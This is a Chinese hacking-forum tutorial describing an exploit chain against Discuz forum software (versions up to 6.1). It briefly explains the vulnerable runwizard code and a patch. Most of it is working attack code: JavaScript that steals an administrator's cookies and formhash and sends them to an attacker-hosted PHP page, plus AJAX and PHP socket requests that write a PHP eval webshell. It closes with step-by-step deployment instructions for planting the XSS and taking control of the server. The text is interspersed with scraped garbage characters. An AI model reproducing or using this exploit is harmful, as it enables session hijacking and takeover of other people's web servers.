Discuz XSS得webshell
9 I/ {$ i; K* W: x3 _By racle @tian6.com, a7 K! ?% X' q3 {/ O. [6 e
欢迎转帖.但请保留版权信息.4 t3 F. o0 M, d
受影响版本 iscuz<=6.1.0,gbk+utf+big5
5 ^( A* U1 _) m2 p- U/ [% e
) i S9 D2 {. m8 @新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.2 Y! c/ F9 u6 z
: P7 ?& P2 v" U7 H/ }1 [) S# V. b
8 Z0 l. r# _' X3 H3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
6 m( s {( I9 U4 i) t$ V J0 H7 y" v# a6 k当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.1 T4 {- ]6 P4 \7 k9 k8 B
) s! `! m. e* ]& p
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
6 k6 t/ K) C- M' g; l' a% i本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
* S; Y0 t" V, x8 N. d0 b
! W' ?8 L! ?3 A# S/ p
0 y1 r$ u7 p Z----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------# i# t3 U' c$ ?+ p% |. {7 ]) d
\& B3 t; {$ R' H
5 e5 T; l1 t! i- B6 i' ^problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.- }! g- w7 C( v9 G5 ?+ l; Q. W3 y. _
) f, [6 u, \4 w, n7 }% B6 ~, Qproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
( w: m5 d$ L! o, S/ k1 _" w! X, e
, |+ F! K" \" @# A9 s8 u6 e' Zproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
0 c9 C6 ^8 n2 e) ^
% r2 h- k* x0 t0 K
4 K2 Y# f7 F- r6 |1 z0 W下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {& A# g. u k' X5 _! Z M
|' O8 J7 K5 x/ w7 W# b
global $runwizardfile, $runwizardhistory;
/ d& [% X; W' Z
4 U6 y* [4 `0 n, J2 o/ X $fp = fopen($runwizardfile, 'w');
# n: u9 C# m# K5 f- X3 y# B% b z$ O0 J7 G5 L# o2 q) L* R
fwrite($fp, serialize($runwizardhistory));
q; P2 I" {1 q
+ s4 ]: C# f& | fclose($fp);. T6 Z! }, p; Q
/ j5 S$ n" x5 j
}4 B0 U3 [/ v2 v' V
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.0 l J' a7 z7 H$ N! M) ~& i# t
以下是修补的办法:function saverunwizardhistory() {# v) k2 ^) h9 z( A4 U
+ j- J* h5 m' Z, t9 e9 O2 q
global $runwizardfile, $runwizardhistory;
7 o; b" K& G$ ]2 @4 j3 \
) l- Q3 f& j1 v $fp = fopen($runwizardfile, 'w');
( ~- ?: m; l" s7 {' j8 M
7 n" n9 l" P4 T+ }* @+ k $s = '<?php exit;?>';
' \+ y/ j, I7 G5 X% |+ r/ b
; e9 D& N6 n3 N- M: m $s .= serialize($runwizardhistory);
1 ]+ i7 m/ U E9 z) N5 _5 `9 ?, y. U4 o1 B6 n, O1 ?, i
fwrite($fp, $s);! J$ S( I3 [1 N# \
/ y) r* o+ i' p1 W, } fclose($fp);3 Y, h' i4 ^& z
\; S4 c( V; H) G; [9 p
}
3 g/ M" C$ [* {# ?复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.. l: `/ t' k1 F* P. s& Z
) _7 V8 R4 \' p3 d8 Z1 A' s" r
, }- k8 _2 J/ _$ p% e) X5 s! b
2 B8 B2 [& n2 G+ V- h----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
" L: Y; x5 k$ i5 A/ D. f' |* `3 w9 u& o; t O
. z3 G: N, J4 W) o% v- @ 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.8 L) s* R+ C% T( t7 a
- d& \2 L$ N: t& L) M我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.6 f/ }$ V' M5 R7 o, k8 q9 w8 g9 Z+ N
4 ]( w. Z8 w+ A2 W5 X7 S这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.3 R% A. ]/ P* L1 X$ H& [+ D8 O
/ L m% O0 D7 A7 {( Y! w首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:9 s3 p' S) n. B6 p- P2 O/ `4 U
- F" i9 i' n) d! X$ J& P
var url="http://目标网站/admincp.php";
) U W4 Y1 q! j. J) V% J
$ P2 k6 C; d u5 Q% }/*获得cookies*/
7 c# v; [' U: _; Q
; V- x& ~ K. ^9 X+ [5 Q6 Wfunction getURL(s) {. [1 h/ b. `2 J/ W" B; c
, S1 P2 R8 q* T. r, n( M
var image = new Image();
/ q! j' C# n7 e+ b8 ]# |8 Z- J9 w2 L4 f V
image.style.width = 0;
2 E2 U8 R* X/ v; y& W
3 [- V6 t% C% ximage.style.height = 0;
8 B+ H2 L* d( g& p e6 ~4 ~9 k) R b
6 d3 Q0 Z9 F4 z% z$ |' L% uimage.src = s;
- @% Q! J) A% k. S! a9 T: s9 v" _( f# m8 ?: n+ T2 g
}
- G7 Z+ y2 K8 t3 z' X. U& Z8 X1 K6 z/ L& v) E. L
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
1 }1 O. S5 b1 p% k' {" q# p& ]复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
4 ?/ Y! e2 n6 Y' |4 W复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
. m9 x* ~+ |' e! v6 B' i% }+ J" r$ Z6 N' b& w) T7 _
2 M1 n6 H: A: o2 t1 i获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
, s; p& K/ X4 U6 D* S0 l) |9 j* Y9 P( } a
7 G+ K8 D: w$ `8 h+ U
: @3 Y T4 p O3 A0 V/*hash*/
/ l; b, x& S) h; f& e: {3 e$ N% P) R, K
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");1 ^5 ?8 T* f! B
/ L2 x% Y7 r7 v2 v0 \, u9 Q% O! z8 [xmlHttpReq.open("GET", url+"admincp.php?action=home", false);; f; t* w. U8 c3 C
/ |9 [. i+ {% { N4 `: l' e
xmlHttpReq.send();
4 s: Y; @ N& E7 T) Q0 _. l
{$ V3 }9 ^0 `+ k7 W: {var resource = xmlHttpReq.responseText;% }' g% f4 f9 U: K L8 u
) i- T! C/ t& \: H% K7 K4 J; h, K! H# f
var numero = resource.search(/formhash/);5 j6 P5 f$ _/ h R% C
" t- q% M9 k0 q$ ?
var formhash=encodeURIComponent(resource.substr(numero+17,8));, u, H2 |7 L/ W9 ?
i: ~# E6 D# f# t% q' q
5 h: _- H0 Q5 N% N
/ Q& L: `3 p# \, ?
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
* H% l1 |' L" Y& d3 U3 i G
, n2 [: ?5 l& ?3 g uxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 4 z; `% }0 `% g! {
$ c. |5 @5 p0 ~ [1 g2 AxmlHttpReq.setRequestHeader("Referer", url);2 |' L, }/ A( k8 k5 s
& \. M7 k. C( V: N3 @
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 t8 t2 n1 B8 a+ c. w
% k& o- L, `/ {/ N6 z
xmlHttpReq.setrequestheader("content-length",post.length); % L# q( }: t5 d
: J. E% ]! L5 g; a2 R
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); , y `8 A3 o, {, G& U" k F
M% T7 u2 W' r! [5 T3 hxmlHttpReq.send(post);//发送数据8 h7 g5 s% r' ]* i8 }
复制代码这里HASH我假设正确,这样提交,也无须cookies$ E+ I0 ]% t- K8 B( y4 j8 \
: [& S2 |) e% A; k0 T再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
1 P$ q% L. N7 Q# b% X4 x- K5 `& y1 i0 e3 \; J
if (!$sock) die("$errstr ($errno)\n");
' |; n/ ^* D7 b* ^8 ]9 R# q: E6 X, S( `* G
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';; e, G/ g) U* w9 X. L* z6 ~2 j0 O
: T- P; k6 Q4 [& G9 U m& _& O9 _1 p9 \& k" k- O/ p9 @! ]% D
4 L1 G0 k; w8 [2 t& S! ~
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
8 t6 q l/ {/ o! S. A T
' R8 }. m. v. a) jfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");+ w6 q5 B5 F9 x* Q
3 e. {4 K8 l/ c9 H9 @* p) K6 X7 ]fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
8 ^# E: a# K1 e: n/ l$ C3 c4 V/ h T1 q4 ^* w6 w! H
fwrite($sock, "Accept-Language: zh-cn\r\n");
8 u2 W' L0 ]9 |9 M4 W C+ ^( a/ |# A1 D9 o' F6 P
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
% n! P& F# r5 Y4 M1 J: \* z( i7 v4 N1 Y6 A5 B; x4 @) u7 i; K; X
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");+ w: a; b% C# S( p! h. W
/ i4 i; R7 q( p( C L/ [8 }fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");# ~; a- P& ~/ k( I
# P; U; E5 ~% q$ w: Z
fwrite($sock, "Host: $url\r\n");
/ b, \: [0 |9 B$ `8 k( E0 |( W* I& \: D O7 [$ ?$ Z6 s$ z5 q/ O' \
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
( c w# J2 B$ U4 e7 l) |$ ^# l- k+ y6 f0 B9 Z; o: H& N
fwrite($sock, "Connection: Keep-Alive\r\n");
! m) v8 K7 Z! z r0 `* g1 f$ i; S, c; l1 A
fwrite($sock, "Cache-Control: no-cache\r\n");" o; n% C( P+ W0 p1 G+ ]3 ~8 [
6 K) b' k4 }& V @! H2 E, ]; Kfwrite($sock, "Cookie:".$cookies."\r\n\r\n");+ _& J; t- m( E3 i1 i( j2 U l0 F
) y' q& d; n1 \) f/ Dfwrite($sock, $data);
' O% m9 C' i0 U: d6 {2 k' ^! J n
) T1 ^0 Q- T" A* t4 U, G* W" Z- k5 R& W" X
" o5 t6 b: ?0 e: G5 o( F
$headers = "";
$ o6 c4 C% `9 |" `. T2 Z- D( E8 e+ l& q3 ?
while ($str = trim(fgets($sock, 4096)))
% a) v6 v* D! e7 U `2 g( F. s- |! G2 g1 h4 ~" |8 M
$headers .= "$str\n";
% @& z; [% T* {$ ^! a- O( P$ i# s
' K* W- W/ `" _- H+ aecho "\n";0 u6 k$ D( L( _- B, b5 b. F ?3 H
2 `$ H0 |/ C+ j) W0 x$body = "";
* Z. ^5 P& l/ W9 K! s' H+ P/ y2 R4 {, K2 z S& X
while (!feof($sock))
$ V5 v9 {( O8 }6 b: ^9 q; j* k% Q8 s3 k. y! A+ A
$body .= fgets($sock, 4096);) u/ p ?5 S, C: P0 @' _; G
' L* R5 ^9 {, S5 U$ s$ S: i
fclose($sock);5 ^; @7 T% S* Y' Z% t
" F2 X5 J3 c" X+ X1 X1 k3 u6 x! B
echo $body;
6 w; [) b# _5 Z% h* x/ a复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^ V" M) Z$ V/ }- @
+ B% ?7 Z8 N; R3 G7 r0 G+ L5 E9 F$ F) |3 Y
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
) e$ _- r |: }4 X# {1 t) w" a/ D5 u, w. L1 a
, ]5 z% v# @& g, H1 HP SOCKET利用方法首先打开racle.js
: `! T6 x5 B$ Z1 C# x( t' @9 \7 S# Q, @: \' y# e
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home" I6 H% Y4 B( @+ a
, x, S, f9 z: a. d# o% A/ V" f) P
* i" R+ G4 c' ~' M
" D+ i- t- L" m8 N然后打开racle@tian6.php
% o2 n; Q1 T2 K5 I4 t8 \4 h" O" j
/ a2 i/ @2 [" n5 h- J$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com, |! X2 K1 ]0 P
2 ]8 N$ k6 G$ }' p* A3 k
" Q3 y; v) @# |2 O* h6 K% W- m. l
1 e( x. J' `; `9 B; T- P [如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
% t1 M& K% S! [ R q4 x5 E3 p
2 K8 M6 i& s! p: YgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));8 t) d# p) B' k% f3 ~& a" d
7 P: _. f! r k7 w/ D/ u. d( ?
为
3 o' a9 U. H" @) ?9 u4 `- ]. i9 i/ R) \+ A0 T* Y7 R; B% b
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
3 p/ |3 F- I, C- ^5 }0 k复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
7 [% ~4 w. J$ m9 @( M# g W3 F2 B: Y- p
% ?7 v' }7 W! b5 P
4 e! K- f( b# T9 z6 T7 Q" s9 a5 w$ x如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:& o' q" _3 L& F1 [3 a$ z
* N. X8 K3 Z0 _$ ?
var formhash=encodeURIComponent(resource.substr(numero+17,8));& {& J2 L4 E- z- E g' |; M0 U
6 P4 r2 N. x- ^7 c3 N' e( s
为
1 V$ t1 R- s) s& d. M/ j. B& q& x! w! S8 _. x. d7 @
var formhash=encodeURIComponent(resource.substr(numero+9,8));: T. q2 a2 R& f# ^$ g+ i
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.- x( }6 j7 ?% a/ [. C( o1 t! I
: }4 Y' L9 N$ I* B如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.' j1 \. m7 _: [: f% P) j
9 `% T6 k* q+ T+ j7 p- m1 t' I8 E
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.6 q% s! H# C U
! u8 ~4 ]9 c5 q3 Y% N
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.# ^/ E3 U2 |% G! f$ k9 R
1 L u D8 V% z2 k7 \. Z, Y! |
|